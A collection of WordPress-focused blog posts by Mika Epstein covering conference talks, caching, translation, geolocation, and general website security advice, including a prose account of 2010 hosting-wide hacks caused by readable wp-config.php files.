Do you have any topics you’d like to see me address at the meetup? Any annoying WordPress/DreamHost issues taht you’re not sure is WP or DH? Leave a comment and I’ll do my best!
**Categories:** How It Is
**Tags:** wordpress
---
### [Upcoming Speaking Gigs for DreamHost and WordPress](https://halfelf.org/2013/upcoming-speaking-gigs/)
**Published:** July 11, 2013
**Author:** Ipstenu (Mika Epstein)
**Content:**

- [WordCamp San Francisco](http://2013.sf.wordcamp.org/) – July 26-29 (“Don’t Use WordPress Multisite”)
- [DreamCon](http://dreamhost.com/dreamcon/) – Aug 2-3 (“Choosing WordPress Plugins” and “Get Out Of The Monkey House”)
- [WordCamp Portland](http://2013.portland.wordcamp.org/) – Aug 10 (“Rolling Your WordPress Support Character (without any code)”)
You get me *twice* at DreamCon. Twice the elf for one low payment!
I believe all these will be recorded and made public.
**Categories:** How It Is, How It Works
**Tags:** dreamhost, wordcamp, wordpress
---
### [Mailbag: Site Security Plugins](https://halfelf.org/2014/mailbag-site-security-plugins/)
**Published:** October 29, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** What security plugin to use? Oh if only that was the easy question.
**Content:**
This one comes from Gabriel and WordCamp LAX:
> Hello, I met you at WordCamp LA 2014. Thank you so much for speaking there and giving me great advice. I am now in a pickle again though, I wanted to ask you as an expert. What premium/pro version of site security protection would you find to be the best for a WP site? I am now using the free version of iThemes but I want to start buying pro version of iThemes, which would be $40 a year for a client.
I don’t use any security plugins on this site. I use [Mod Security](https://halfelf.org/2013/wp-login-protection-modsec/ "WordPress Login Protection with ModSecurity"), some [complex .htaccess rules](https://halfelf.org/2013/my-super-secret-htaccess-file/ "My Super Secret .htaccess File"), and a firewall app on my server. None of the weight of the security is on my WordPress install for a few reasons.
This site may be a nice massive Multisite, but on this server I have a dozen other WordPress sites and not all are my own. I also have a gallery and a wiki, a forum, and a few other non-WordPress things. Using *just* a WordPress plugin leaves about a third of my site not protected. Worse, it means I have to be sure all my ‘customers’ are equally protected all the time and upgraded and configured right. I opted to take that out of their hands.
Most major hosts (DreamHost, BlueHost, GoDaddy, LiquidWeb, etc) all have Mod Security and a firewall, or some equivalent. Some of them have [fail2ban](http://www.fail2ban.org/wiki/index.php/Main_Page) and others have [CSF](http://configserver.com/cp/csf.html) but they all do have server level protections that frankly do a better job of protecting you against a brute force attack than a plugin ever can. I’ve said this before in many different ways but I’ll spell it out again. I don’t believe a plugin is ever the **best** choice to protect you from a DDoS. That does not mean a plugin doesn’t help, but it does mean I would never use it as my first and only defense against attacks and hacks. The practical reason is that it makes a site slower, to have it recursively check things.
With that said, there is a different sort of ‘protection’ to be gained from a security plugin, and that is notifying me as to what files are changed. If you’re using cPanel, WHM has a feature to email you about Recently Uploaded Cgi Scripts which emails me when certain core files on my server changes, but also when a plugin upgrades and messes with email:
```
/home/ipstenu/public_html/wp-content/plugins/contact-form-7/includes/submission.php:240:
/home/ipstenu/public_html/wp-content/plugins/contact-form-7/includes/submission.php:241: private function mail() {
/home/ipstenu/public_html/wp-content/plugins/contact-form-7/includes/submission.php:242: $contact_form = $this->contact_form;
```
That’s one of my favorite things, by the way. It’s a rare email to get, but I love getting it because I know what dangerous emails are sent. There’s also an add-on feature of CSF called [ConfigServer eXploit Scanner](http://www.configserver.com/cp/cxs.html) which can be used to send emails when any file is changed. This is awesome for scanning PHP changes and even is aware of WordPress though it’s probably going to have a lot of false positives given the nature of WordPress upgrades.
And this does get us to where I do use security plugins. Rarely, yes, but when I do use them I use products like a malware scanner to make sure my files aren’t changed without me knowing. You hear that called “Security File Integrity Monitoring” sometimes, and the idea is that I want to know when any files on the server are changed. But since Gabriel mentioned ‘for a client’ I can guess that he doesn’t have admin access to the server, which makes the whole thing a lot messier.
The weakest leg in the security tripod is users. Sorry. Users are people. We make mistakes, we eat gas station sushi (hush, Otto, you get the point), and we don’t think about our actions.
With that in mind, which plugin would I use? It depends on the client and how much help I think they’ll need cleaning up, and how much help I’m going to be expected to provide. I’d be inclined to hook them up with a service that can help unhack them if I’m worried about that, or if I know they can follow directions well, then a simple scanning plugin is fine.
It’s really not a simple answer, though.
**Categories:** How It Works
**Tags:** plugins, security, wordpress
---
### [Why You Can't (Always) Catch Cache](https://halfelf.org/2014/catch-cache/)
**Published:** October 22, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Fast as fast can be, you'll never cache me.
**Content:**
Or rather, why you don’t want to cache.
When speeding up a site, the first thing we always talk about is streamlining the site. Ditch the redundant plugins, clean up the code, get a lightweight theme, dump the stuff you don’t use, and upgrade. Once you’ve done that, however, we talk about caching, and that is problematic. Caching is tricky to get right, because you can’t cache everything.
Actually you can, but you don’t *want* to cache everything, and you really shouldn’t.
The basic concept of a cache is ‘take a picture of my website in this moment.’ We think of it as a static picture, versus the dynamic one we use for WordPress. That static picture is not so static, though. You call CSS and JS still, and you call images. But the idea there is not to call PHP or the database and thus your site will be faster, as those are the slowest things.
Great, so why don’t I want you to cache everything?

The obvious answer is latency. If you’re designing a site or making a lot of style changes, you need to disable caching because otherwise you get a lag between edits and displaying text. But there’s also server latency.
When we talk about things like PageSpeed (I use mod\_pagespeed my server) to improve web page latency and bandwidth usage, we’re talking about actually changing the resources on that web page to the best practices. This sounds great but we have to remember that by asking the webserver to do the work before WordPress (such as having PageSpeed minify my CSS and JS), we’re *still* making the server do the work. Certainly it’s faster than having WordPress do it, but there will still be a delay in service.
The next obvious answer is security. There’s some data you flat-out don’t want to cache, and it’s pretty much everything in wp-admin (on WordPress). Why? If you have multiple users, you don’t want them getting each other’s content. Some are admins, some aren’t, and I know I don’t need my guest editor seeing the post about where I’m firing her and why.
Actually, we’ll extend this. Very rarely do I want my logged in users to see a cache at all. They’re special, they’re communicating and making edits on the fly. Having them see cached content, and constantly refresh it, will be more draining on my server than just loading the content in the first place. Remember the extra load caused by PageSpeed (or even your plugins) generating the cache? That would be constantly in progress when a logged in user made a change, so let’s skip it all together.
Tagging on to that, you also don’t want to your admins and logged in users to generate a cached page. This isn’t the same as *seeing* a cached page, I don’t want non-logged in users to see the version of the site a logged in one gets. A logged in user on WordPress gets the toolbar, for example. I don’t want the non-logged in ones to see it.
Finally we have to round back to security. If I have SSL on my box and I’m using HTTPS to serve up a page, no way no how do I want to cache anything related to users. In fact, I may not even try to cache JS/CSS either. The basic presumption of https is that I need security. And if I need security, I need to keep users out of each other’s pockets. The best example of this is a store. I don’t want users to see each other’s shopping carts, do I? And your store is going to be https for security, so this is just one more feature there of.
Of course, there are still things to cache. I setup PageSpeed on my https site so it will compress images, make my URLs root-relative, and compress and minify HTML/CSS/JS. But I don’t have a traditional cache with it at all. This does mean as we start to look towards an https-only world (thank you Google) we’re going to run into a lot of caching issues. All the quick ways we have to speed up our sites may go away, to be replaced by the next new thing.
I wonder what that will be.
**Categories:** How It Is
**Tags:** cache, essay, security, speed
---
### [Working With A Translator](https://halfelf.org/2014/working-with-a-translator/)
**Published:** October 20, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Lost in translation, I've learned a lot about how to communicate when we don't speak the language.
**Content:**
Well I messed that up.
I’ve never been on a panel before, and I’ve never worked with a live translator before, except once and that was ASL which is different. This time, at WordCamp Tokyo, I was on a panel to talk about the [Worldwide Community of WordPress](http://2014.tokyo.wordcamp.org/session/worldwide-usage-of-wordpress/), and other things, and we had a wonderful translator with us, Shinichi Nishikawa. But I’m afraid we made things very hard for him.
My father, who’s more experienced, gave me a critique later and I have some points to share with everyone.
- Speak one sentence, wait for it to be translated, then move on.
- Keep your English simple.
- No cliches, idioms, or slang. Not even technical slang.
- No jokes. They won’t translate. Don’t even try.
- Don’t laugh at yourself either.
It’s remarkably hard to do this. I’m getting a little better at it, because my father’s wife is Japanese. While she understands some English, I would say her English is better than my French, and she’s mostly fluent in French. So we dance between three languages to try to communicate. With that in mind, I find myself trying for the smallest, easiest, most common words when I want to explain something.
For example, at dinner she was trying to say that my father has no sense of direction. This is true, but in Japanese there’s a word to mean ‘you lack this skill.’ You can apply it to anything, and as we were talking about it, she asked what the word was, in English, for someone who has no sense of music. We explained it was ‘unmusical’ or ‘no sense of music’, but I also mentioned ‘tone-deaf.’ This lead to us saying things like “You are tone-deaf in driving!” Where English will put a modifier on the word, the Japanese have a second word to add in front that puts the proper emphasis.
Understanding that one, small, thing changes what words I want to use when explaining WordPress (or anything) to someone who doesn’t speak my language natively. I’ve done this before, with normal conversations and travel, but doing it for WordPress was very hard because we’re used to things like ‘doing\_it\_wrong()’ and even ‘Howdy, Ipstenu.’ Those are small words we think of as normal and simple, but their concepts are so large they lose something in the translations.
Besides just words, I’ve learned we definitely need to translate our brochures into the language of the country we’re in. Not having the pamphlet be in Japanese was a killer. Also our little DreamHost Robots need names!
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/banner-1544x500.png)
Everyone thought our mascots were adorable, but they needed names. Since we have three stickers, one of them being tiny, I said we should call the little one “Yume-chan” because Yume (夢) means Dream in Japanese, and ‘chan’ is a diminutive. My father calls me ‘Mika-chan.’
[](https://halfelf.org/wp-content/uploads/sites/2/2014/10/7d9f9a7a22e3be272de65c45b46ab74c.png) Just for an example, Wapuu is the mascot of WordPress in Japan. So really anything small and cute like this needs a name.
Knowing that, I feel more prepared next time not just should I come again to Japan, but also in general for how I present at a WordCamp. Every time I come to one, I learn a little more and a little more about myself, WordPress, and how we all communicate.
WordPress democratized publishing in more than just your website, after all.
**Categories:** How It Is
**Tags:** essay, wordcamp, wordpress
---
### [Automatic Geolocation](https://halfelf.org/2014/automatic-geolocation/)
**Published:** October 15, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Where I am is who I am and your geolocation methods piss me off.
**Content:**
Traveling outside the USA always reminds me of how annoyed I am when I go to websites.
Like most of you, I have a bevy of websites I visit regularly. In my case, a large number of these sites are image or video related, and due to the legality of those things, I find myself restricted based on my current location. It annoys me, because if I pay for a service like my cable TV, why can I not watch it outside my home? Restricting my content based on my location is frustrating. I get CSI at home, but I can’t watch it while I’m here in Japan. This, of course, leads to things like illegally downloading movies, because there simply is no easy, quick, efficient way to acquire those things.
But worse than that is the tacit assumption that just because I’m in Japan, I want to visit the .jp version of a site. The number of sites that auto-redirect me to my current location’s language are not few, and most of them don’t have an easy way for me to click back and explain I’m not able to read Japanese.
For many years I’ve told people that forcing a language choice on users based on their IP is improper and unpredictable. It’s for the same reason I tend not to recommend blocking entire countries from your websites. The probability that you will hit innocents with a broad attack is very high. It’s higher than the chance of rain in Southern California.
So how do you do it right? You have to start by asking the right questions.
### What language does the computer use?
You can detect that, you know. If my computer uses English, the odds are that I want to use English. Of course, a French speaker might use my laptop, but that’s on them, and one hopes they know to go to google.fr instead of google.com. Speaking of that…
### What URL did I type in?
If I go to a URL directly, I may actually want that URL. This goes for you mobile apps too. If I go to Google.com right now, I get this:

That’s a nice, friendly question in English asking if I’m sure.
### Have I been here before?
Cookies. When I go to a site, I get cookies. Those cookies can tell you what language I used the last time. So if you have a flag system where I can pick my language, please do try to honor that. There’s nothing a visitor hates more than having to reset their preferences every time. Facebook, this means you.
### Where is my IP?
I know I said not to use this, but there’s a reason I want to ask this. If I take into consideration the URL, the browser locale, and the IP, I have a clearer picture of who’s visiting the site and what they want.
**Categories:** How It Is
**Tags:** administration, essay, ux
---
### [WordCamp Tokyo](https://halfelf.org/2014/wordcamp-tokyo-2014/)
**Published:** October 3, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Another upcoming WordCamp, this time overseas!
**Content:**
There was something about me being busy this year… I’m headed overseas on the 7th to my second international WordCamp (Montreal being the first, back in 2012).
[](http://2014.tokyo.wordcamp.org/english/)
WordCamp Tokyo, I will be on a panel discussing the Worldwide Usage of WordPress. Representing America, I’ll be on an international panel to explain where I see WordPress being used and where it’s going here (and in Canada, I can speak for them, I am half-Canadian, I’m my own hat!). I am highly delighted about getting to say ‘international panel’ to some of my family. This is my first time on a panel for WP, though!
This is my second trip to Japan. The last time was in 2008 when I spent 12 days hiking around Shikoku with my father and brother, visiting the temples of Henro in Awa Prefecture. One day I’d like to get the chance to finish the hike. It was beautiful and amazing and blew my mind.
Also this is why I had to decline WordCamp Europe and Dallas/Fort-Worth, both of which I really wanted to attend. I can’t do that much travel in that short a time, seeing as WordCamp SF is right around the corner. I’m really excited to be going to Japan *and* getting to talk about WordPress while I’m there. This is one of those things you hope will happen when you get a job with a company as cool as DreamHost.
I know I won’t see many of my regular followers there, but I will see some wonderful new faces and I can’t wait.
**Categories:** How It Is
**Tags:** wordcamp
---
### [The Bias of Transparency](https://halfelf.org/2014/the-bias-of-transparency/)
**Published:** October 8, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How transparent do we need to be?
**Content:**
When I was in elementary school, we used to go to SeaWorld all the time. I loved seeing the animals, I loved being able to pet and feed dolphins. I loved the whole data dump of the ocean information. I went back in the days where the trainers were in the water with the orcas. I fed one once, and patted it’s nose. I danced with a seal (and sea lion). I really fell for the whole “Humans and animals together!” patter.
And then I grew up and read about how SeaWorld got those animals in the first place.
Your personal feelings on movies like *Blackfish* aside, even SeaWorld admits today that they were wrong in how they captured orcas back in the day. They were cruel and wrong, and SeaWorld hasn’t done that in 35 years. But the part of me that is upset with them is the part that wants to know why it took *Blackfish* to make them step up and say that. And the part of me that’s livid is the part who asks why they don’t disclose their history as a learning experience?

Transparency in development is not a new thing. Technology used to be a magical black box, but the more people embrace open source, I feel they’re more willing to express their issues and explain things that have happened. Even when you don’t understand the whole explanation, being told something like “Yes, the outage was caused because some electrical work caught fire” is much more satisfying than “The outage has been resolved.”
When I talked about [why an outage didn’t inspire me to change my webhost](https://halfelf.org/2014/when-sites-go-down/ "When Sites Go Down"), much of the reason was because of communication. While it could have been better, my host was transparent with me such that I knew what was going on. Perhaps not as fast as I wanted it, but I did, at all points in time, know what the deal was.
Being up front about problems gets messier when you start to talk about things like security. Earlier in the year, MailPoet had a security vulnerability. They fixed it, pushed the fix, and then it was reported on and everyone found out. People were surprised to find that the exploit was hunted down by people now that the information was in the wild, and others pointed fingers at the reporters for publicizing of the issue.
It’s a double edged sword. If they don’t report on the situation, people don’t understand how important it is to update. If they *do* make it public, the bad guys know what to look for. That’s why you get things like the [accidental DDoS from TimThumb](https://halfelf.org/2011/timthumb-pseudo-ddos-effect/ "TimThumb and the Pseudo (D)DoS Effect"). People knew to attack for it, and they did. It’s the same thing with the HeartBeat vulnerability or the recent Bash issue. Once a vector is found, it will be exploited.
There isn’t a perfect answer here. There isn’t a perfect balance between information and education and secrecy. We want people to know “Hey, fix this!” but we don’t have a way to tell them without telling evil people. This ends up making us want to keep secrets and hide the truth, which just isn’t going to work in the long run. The only practical answer would be to fix this as soon as possible and hope no one hits us in the meantime.
**Categories:** How It Is
**Tags:** administration, essay, security
---
### [WordCamp Ventura](https://halfelf.org/2014/wordcamp-ventura/)
**Published:** September 19, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Come see me at WordCamp Ventura!
**Content:**
I’ll be speaking at WordCamp Ventura on the topic of plugins and approving them. Or not.
WordCamp Ventura County will be November 8th, 2014 at Green Art People, Ventura, CA. Tickets will be on sale at soon, but in a weird (yes Konstantin, I think it’s weird) move, all the speakers are set in advance! Like before you buy a ticket you’ll get to know that I am, indeed, speaking.
[WC Ventura: Introducing Mika!](http://2014.ventura.wordcamp.org/mika-epstein/)
[](https://halfelf.org/wp-content/uploads/sites/2/2014/09/ventura.png)
**Categories:** How It Is
**Tags:** wordcamp
---
### [Did You Know .... Gravatars](https://halfelf.org/2014/did-you-know-gravatars/)
**Published:** September 12, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Need to check on your Gravatar? There's an easy way.
**Content:**
I we helping someone debug their gravatar recently. There was a long back and forth about your WordPress.com vs WordPress.org account when he couldn’t log in, and once we sorted that, we wanted a way to check if the Gravatar was actually working. Lo! There’s an easy way:
You can put in anyone’s email and get their Gravatar, which is a great check for people on, say, WordPress.org complaining theirs isn’t working when it totally is, had they used the right email.
There are some things I wish Gravatar had, though, like the ability to drag-and-drop new avatars instead of the old click-here-to-select interface that feels so very, very, old now.
**Categories:** How To
**Tags:** wordpress
---
### [Make Your Advice Work](https://halfelf.org/2014/make-your-advice-work/)
**Published:** September 26, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Taking Tim Gunn's advice to your website.
**Content:**
I love Project Runway. Seeing people be that dramatic and traumatic over making clothes is fun, plus I love the design. One of the best parts is when Tim Gunn steps in as a mentor. He rarely tells people exactly what they need to do, but he will give them his opinion. It’s the way he handles critique that makes him impressive. Recently he had a new show called Under the Gunn where he let other people mentor some young designers, and that show was, shall we say, less than spectacular.
One of my favorite designers, Nick Verreos (aka Uncle Nick), was one of the worst mentors. Instead of helping his mentees, he did the work for them and made their designs look more like him. He drew for them, he sewed for them, he even gave them ideas.
That’s not the Tim Gunn way.
COURTESY OF A+E NETWORKS
Tim Gunn (left), host of the new Lifetime show ‘Under the Gunn,’ on set with mentors (second from left to right) Mondo Guerra, Anya Young-Chee and Nick Verreos, all former contestants on ‘Project Runway.’When people ask you for advice on their work, it’s hard to not insert yourself into the process and put your own self into the work. You, too, are a smart, creative person. That’s why they asked you! So how do you keep yourself out of your advice and let people learn?
Boy that’s hard.
You have to let go of your own ego to do this. You have to be willing to remove your own desires from the equation, and instead of saying “Do this” you have to suggest “What if you did it like this?” It’s a classic case of leading the horse to water, but you really are the one who is going to show them the land where the ideas are and nudge them along.
One of the things I do a lot of is plugin reviews, and many times I see people reinventing the wheel. I don’t often put value judgements on plugins, and in fact I try hard not to do so. But when I see someone taking the hard road of handling a feature, like wanting to put autoplay in all YouTube videos, I wonder why they’re inventing a new oembed and shortcode and not filter `oembed_fetch_url` and have it check if it’s youtube and, if so, put in the arguments for autoplay?
But… Do I tell them “Here’s the code you want” and give it to them? Will that make them better developers? No, it won’t. Instead, I have to explain why reinventing the wheel isn’t a great idea.
Any time a plugin replicates functionality found in WordPress (i.e. the uploader, jquery), you’ve done something wrong. It’s a security risk, for one, as the features in WordPress have been tested by many more people than use most plugins, so the built in tools are less likely to have issues. But more importantly, you’ve given people too many ways to do one thing. A user doesn’t want to remember seventy shortcodes. They want to know “Hey, I know pasting in my video URL makes it show up on WordPress! I’ll do that!”
They want the easy, and you need to remember to give them the easy.
Similarly, advice on what’s right should lead towards what’s easy. What’s easier for you to maintain, to develop, and support. I know what works for me, but when I’m teaching someone how to update plugins and they ask me “What tool do you recommend?” I say “What do you already use and like?”
That’s my secret, by the way. I teach and mentor by trying to learn what they already know, what they’re already comfortable with, and then explain how to do things better or faster with those systems. But I try not to show them “This is the way to do it.” I stress this is **A** way to do things, unless what they’re doing really is a reinvention of the wheel, without making the wheel any better.
**Categories:** How It Is
**Tags:** essay, support
---
### [Don't Be Afraid of Looking Foolish](https://halfelf.org/2014/looking-foolish/)
**Published:** September 24, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Get messy, dance like no one's watching, and learn from those mistakes.
**Content:**
If you’ve ever watched baseball on TV (which is rare for me, I prefer the radio), you may have seen some of the most incredible faces that athletes make. This is Pitcher Jared Weaver of the LA Angels:

He looks crazy, doesn’t he? He’s also an insanely good pitcher. He can make a ball do things just by changing how he holds it or points his elbow. It’s a gift. It’s not really a useful one to a lot of people, but it’s certainly not something I can do. He doesn’t worry about the silly faces he makes (I hope) because he can see the results are worth it.
One of my most popular tweets ever is this:
> Everyone screws up code, no matter how awesome a professional you are. Accept it.
When I wrote it, I was laughing at myself for seriously bolluxing some code and pushing it live too soon, which happens to the best of us. I knew I messed up as soon as I saw the first error report, and pushed a fix right away.
What I didn’t do was worry about how it made me look.
Oh don’t get me wrong, I knew it looked bad, and it was embarrassing, but I’m not afraid of making mistakes. I didn’t let the fear of looking bad stop me from trying something new and experimenting and making a change. I knew there was a chance to end up with egg on my face, but I knew there was also a chance I would make everything perfect and ‘save the world.’ Or at least make my code awesome for more people.
We’re going to mess up. We’re going to make mistakes. We’re going to break things. While we try hard not to do that, the glory, the hero within us comes to play not when we’re perfect, but when we recover. Mistakes will be made, accidents happen, and you will screw up.
What will you do when you make a mistake?
**Categories:** How It Is
**Tags:** essay
---
### [The Mindset of Security](https://halfelf.org/2014/the-mindset-of-security/)
**Published:** September 22, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Gas station sushi is still sushi, right? You know not to eat that. Apply your common sense to your security.
**Content:**
I talked at WordCamp LAX this year about [KISS Security](https://helf.us/wcla2014), keeping it simple and being aware of what it is you’re doing. Because security isn’t about the right passwords, and upgrades, and plugins, and .htaccess, it’s about *you* doing what’s right. And in fact, while I did mention some plugins, some features on servers, and I certainly was willing to give my advice and opinion on them, I don’t recommend one security plugin over another. Instead, I talked about the mindset of being secure.
## Don’t be stupid
> My mother is one of the few people I know who has almost completely conquered the will to be stupid.
>
> Miles Vorkosigan on his mother, Cordelia Naismith Vorkosigan
> *Brothers in Arms* by Lois McMaster Bujold
If I can not be *stupid*, then I can be secure. Sounds easy, but ignorance is the lynchpin of stupidity, and you must defeat that first. But they’re not actually stupid at all. They’re just *uneducated* and this whole WordPress thing is new, and the security stuff is scary.
With that in mind, I aim more towards education when I help people. When I debug a site, I send the customer a two-fold email. The first is the tl;dr stuff. “You were hacked because you’re on WordPress 2.6 and your theme and plugins had backdoors due to old, vulnerable code.” That’s the easy part. Then I explain in detail how I found the hack, why it was a problem (like did you know inactive themes can still be visited in your browser and, as such, are vulnerable?) and some details on how to fix it, even though I know they’ll still make mistakes. But I get them started with understanding what I’m looking for and why I think it’s bad.

## Use Common Sense
The reality of security is that we’re all ignorant, at some point in time, of what we’re doing, of what it means. Identity theft can go on for years because people don’t monitor their credit card statements. We get ripped off by not checking receipts. We give away our credit cards without thinking. We all do dumb things in the moment and regret everything. We have 20-20 hindsight. And getting to the point where we don’t do that, where we think first, takes deconstruction of myths, education, and trusting your gut.
## Don’t Get Overwhelmed by the Hype
Stop me if you’ve heard this one. “You’ll be hacked unless you install a plugin.” Or maybe this one… “You’ll be hacked *because* you installed a plugin!” It goes on and on. Should you upgrade? Of course! But do I think upgrading alone is the answer? Heck no! Upgrading, being concerned with plugins and themes, using good passwords… those are all important, but they’re not going to be the end all of everything. They don’t make **you** smarter, and that’s why I hate them. What they really do is make you lazy. You think that because you have them, you’re safe, and you stop being aware.
## Security Tripod
I came up with that in 2010, the [Tripod Theory of Security](https://halfelf.org/2010/hacknslash-security/) when it comes to websites. In order to be smarter about security, I have this pretty simple tripod theory.
1. Your Webhost (server)
2. Your software’s developers (WordPress)
3. **YOU** (everything else)
If everyone holds up their leg, the security of your site is locked down. If you have a responsive webhost, secure software, and good behavior, you’re going to be happy, the odds are that a WordPress upgrade never breaks your site, and you’ll be safe for a long time to come. Awesome! But as someone wailed at me at a barbecue, “How do you get to that point when you can’t CODE!?”
## Education
The most simple answer is the most obvious. Know what you’re getting into with software. The plugins and themes you use are ones you should know about. Read the readme, follow the FAQ. Don’t be afraid to ask questions about features you want. But the best thing you can do is use your brain and *think*. When we grab code and don’t think about who wrote it, where it came from, and what it means, we open ourselves up to disaster, and we may as well be posting our passwords on the front of our websites. Taking that moment to be aware that hey, maybe a nulled theme is a terrible idea will save you.
The biggest thing to do, though, is not to research everything to an inch of it’s life, but to stop and think. When we jump in to things without any forethought or awareness, when we ignore that nagging feeling of doubt, we run the risk of being stupid. Gas station sushi is still sushi, right? And sushi is totally awesome. Well. Yes. But it’s also a fast track to spending the rest of your day in the bathroom. And you know this. Your gut knows these things because of your experiences, and when they outpace your knowledge, that’s when we get those momentary blips of “This is a baaaaaad idea!” Listen to them. If it helps, picture a relative looking over your shoulder going ‘tsk.’ Admittedly, mine would be Taffy holding a glass of wine, saying “Don’t be stupid, Mika.”
## What I Look For
Practicality matters, though. I can’t just say “Find code by a WordPress Core Developer and never worry a day in your life” because everyone can make mistakes. Instead of looking for perfection, I look for behavior. I want to see a developer is active, both in general and in the overall community. I want to see how they respond to people, either in the same terms and language they use, or if they’re always super-technical. I want someone who understands what they’re doing, even if they’re not always right, and I want someone who can balance out the need for fixes with the annoyance of an update every day.
**Categories:** How It Is
**Tags:** essay, security
---
### [Hack’n’Slash Security](https://halfelf.org/2010/hacknslash-security/)
**Published:** April 16, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Your security is your responsibility. Don't trust your host to do everything right, and understand what you're getting into.
**Content:**
 I was intending on a totally different post, but, well, this came up instead.
Recently, WordPress, my preferred blogging software, has been under attack by both hackers and critics. There were actually three attcks that all got lumped into one so I’ll try and break this down. If you’re of the ‘Too long! Didn’t Read!’ variety today, you can get by with knowing this: If your WordPress install is not secure and if your web host is not secure and if **YOU** do not follow security practices, then you will be hacked. Period. Security relies on you, your web host and your web apps all being sensible about the whole thing to be effective. Remember, it’s okay to ask for help!
Also go read [Hardening WordPress](http://codex.wordpress.org/Hardening_WordPress) right now.
Okay, so security.
Back in Feburary/March, there was a sudden influx of users complaining their sites had been hacked by inii.info, whereby the hack was to edit the `wp-blog-header.php` and change it so any time a search engine bots visited your site, they went to inii instead. This matters because search engine bots collect information about your site and use it to rank your website against all the other sites about a given topic. There was a second hack where a file named `...` (yes, three periods) had even more redirect code in it. And it was heavily encoded so you couldn’t read it without decoding.
The reason I call this a Media Temple hack was that it seemed to be prevalent to Media Temple installs. While at first people jumped the gun and said ‘It’s WordPress!’ Media Temple came out with a [detailed Q&A](http://kb.mediatemple.net/questions/1807/) about the matter and the attack appeared to affect ALL webapps via compromised passwords. If Media Temple ever revealed what happened, I’m not aware of it, but it wasn’t just WordPress that was affected. They ended up changing DB passwords for every webapp, from Drupal to vBulletin.
In early April, there was another rash of hacks, this time targeting Network Solutions. This time, it looked like a clear cut case of database changes. WordPress, like most PHP/SQL apps out there, uses a database to store all its information. In this instance, the database entry for the site’s URL was changed from (for example) https://ipstenu.org to an iframe link I’m not reproducing here.
At the same time, there was a ‘Pharma’ hack, where links with ‘pharma’ in them were slipped into your site, in a rather genius fashion. [Chris Pearson has a decent explanation](http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php) on the matter, but I feel he’s barking at the wrong car for part of it.
Chris and Media Temple and Network Solutions and a horde of people on Twitter and forums every where jumped up and said “AHA! It’s a WordPress hack!!!111!” Which … well, yes, but not exactly. As the very wise [Andrea\_r](http://ronandandrea.com/andrea/) put it, there’s a difference between attacking WordPress installs and *targeting* WordPress installs.
An analogy if you please. There’s a rash of break-ins in a small town. The houses that are broken into are all bungalows. People shout ‘Aha! It’s a problem with bungalows not being secure!’ The police look into the matter and find out that in every house broken into, the bathroom window was left open. Now, is this the fault of the builder, who designed bungalows to have a window people could fit in through or is this the fault of the residents who didn’t close and lock their windows?
If you said ‘It’s a little of each!’ then thank you, you can stay after class and clean the erasers.
Security depends on many things, but to the topic at hand, **server** security is a tripod, and relies primarily on these three legs:
- **The Web Host** is responsible for making sure the sever itself is up to date with the latest patches etc, and that the server is configured in a safe way.
- **Web-apps** are responsible for not unleashing needless insecurities to the system.
- **The end-user** we pray to the flying spaghetti monster that they’ve not done something to violate security out of ignorance.
To understand how these hacks all worked, yes all of them, you have to look at the perfect storm. This is what had to happen in order for all these accounts to be compromised:
1. Someone saved their wp-config.php file in a way that it was readable by the free world.
2. Someone scanned for and found that file.
3. The user was using their ID and Password, rather than creating a DB user just for the blog.
4. That account had read access to other accounts on the same server
5. The malicious user used the account to scan for other wp-config.php files, **even if they were saved securely** and compromised their accounts/databases as well.
That’s a lot of wrong on one box. With most webhosts, you’re on what’s called ‘Shared Hosting’ which means a whole mess of people are on the same server, each with their own ID and password. Much like if multiple people have IDs on a desktop PC, the inherent security of the server does not allow Joe to look at Jane’s files, unless she saves them in a public space. Alas, one a couple sites, this was not the case. SO Joe, who saved his wp-config.php file with 777, and used his server ID and password to access his database in that file, was compromised. And once the hacker had Joe’s information, he scanned the entire server and hurt everyone.
Ouch.
But wait, doesn’t that mean it’s WordPress’ fault for saving passwords in the wp-config.php file in a way a hacker can read them!? Well, yes, it’s certainly WordPress’ ‘fault’ but you have to realize that doing so is an accepted risk of most PHP/SQL webapps, in that for the SQL DB to be read, the password to that database must be kept in clear text (i.e. not encrypted). This is in the wp-config.php file.
Okay, so it’s Joe’s fault for saving his file in a readable fashion? Somewhat. By having their wp-config.php file set so that anyone can read it (bad permissions – 777 for example), Joe put himself at risk. This IS NOT a flaw in web-app or the ISP, it’s just … well, ignorant (unless the ISP is forcing the file to be 777 to run WordPress, at which point it’s their fault, and yes, there’s an ISP that does that!). In addition, I know a lot of people who, instead of making a DB user for their blog, will put their server ID and password in that file, which means once it’s been read, ANYONE can log into that server as them. I suspect this is done from ignorance as well. By the way, your server ID and password is the same as your FTP user ID and password in most cases.
Back to WordPress, shouldn’t they check for that? Maybe. But it’s not that easy, since there are a lot of different ‘acceptable’ security settings for that file, and it all depends on the server. Maybe one day WordPress will figure that out, but right now [they tell you to make it secure](http://codex.wordpress.org/Hardening_WordPress).
What about the web server? They *are* responsible for making sure that if Joe User set his WP config file to 777, and put their server ID/Password in there, the worst they can do is shoot themselves in the foot by preventing them from reading anyone else’s user directory. Limit the destruction on a per-user basis. There are a lot of Shared Hosts out there with lax security policies, which makes this more prevalent than I’d like.
Hopefully that made sense.
All of these hacks seem to be looking for people with wp-config files that can be read, logging into the account as the user (or the database user), and either adding files that edit the database, editing the database, or both editing the database and adding the fake plugin files.
Once your server is insecure, because of compromised IDs and Passwords, you have to go back to zero, reset ALL your passwords, scan your PC for viruses, and be careful. Remember, if they have your password, they can do everything you can do.
Good luck out there. Be smart, be secure, be safe.
*Edited to add…*
Also check out Mark’s well written post about how your security? Is your responsibility. Because dude, is SO is.
**Categories:** How It Works
**Tags:** hosting, security, servers, wordpress
---
